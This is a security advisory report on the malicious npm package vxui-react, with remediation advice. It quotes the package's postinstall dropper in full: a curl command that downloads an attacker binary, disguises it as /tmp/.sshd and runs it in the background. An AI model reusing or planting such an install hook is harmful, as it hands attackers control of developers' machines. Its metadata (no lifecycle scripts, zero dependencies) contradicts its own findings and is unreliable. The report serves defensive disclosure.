Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis No additional public attack-surface or AI-review details are available. ## Affected versions and remediation This report applies to vxui-react@1.5.2. The same advisory and Firewall decision cover these 15 recorded versions: 1.3.2, 1.3.3, 1.3.4, 1.3.10, 1.3.11, 1.3.12, 1.3.13, 1.3.5, 1.3.6, 1.3.7, 1.3.9, 1.4.0, 1.5.0, 1.5.1, 1.5.2. - Avoid installing vxui-react@1.5.2. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Osv Malicious Advisory - **Category:** External Intel - **Confidence:** 100.0% On \`npm install\`, package.json's postinstall script runs \`curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2\>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &\`. The fetch disables TLS verification (\`-k\`), silences errors, points at an unpinned \`latest\` release on a GitHub account (\`parikhpreyash4\`) unrelated to the package's declared repository (\`tmplink/vxui\_react\`), verifies no hash, drops the binary at a hidden path masquerading as the ssh daemon (\`/tmp/.sshd\`), and backgrounds it so the install completes without surfacing the child process. Every installer running \`npm install vxui-react\` thereby executes arbitrary attacker-controlled code on their machine. The package additionally lists itself (\`vxui-react: ^1.3.1\`) in its own \`dependencies\`, an unusual shape consistent with namespace/dependency-graph manipulation; the dropper above is the primary harm. \#\# Source: ghsa-malware (57e4aeb03972170b150bd34ade1a06f6f29359eeb7c5efa797491c5d98cf8d9a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** vxui-react - **Ecosystem:** npm - **Version:** 1.5.2 - **Version published:** 2026-06-24T09:27:25.767Z - **Package first seen:** 2026-06-30T15:00:00.099Z - **Package last seen:** 2026-07-08T23:10:23.777Z - **Known versions:** 15 - **Latest version:** 1.5.2 - **Appeal under review:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [ADVISORY]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
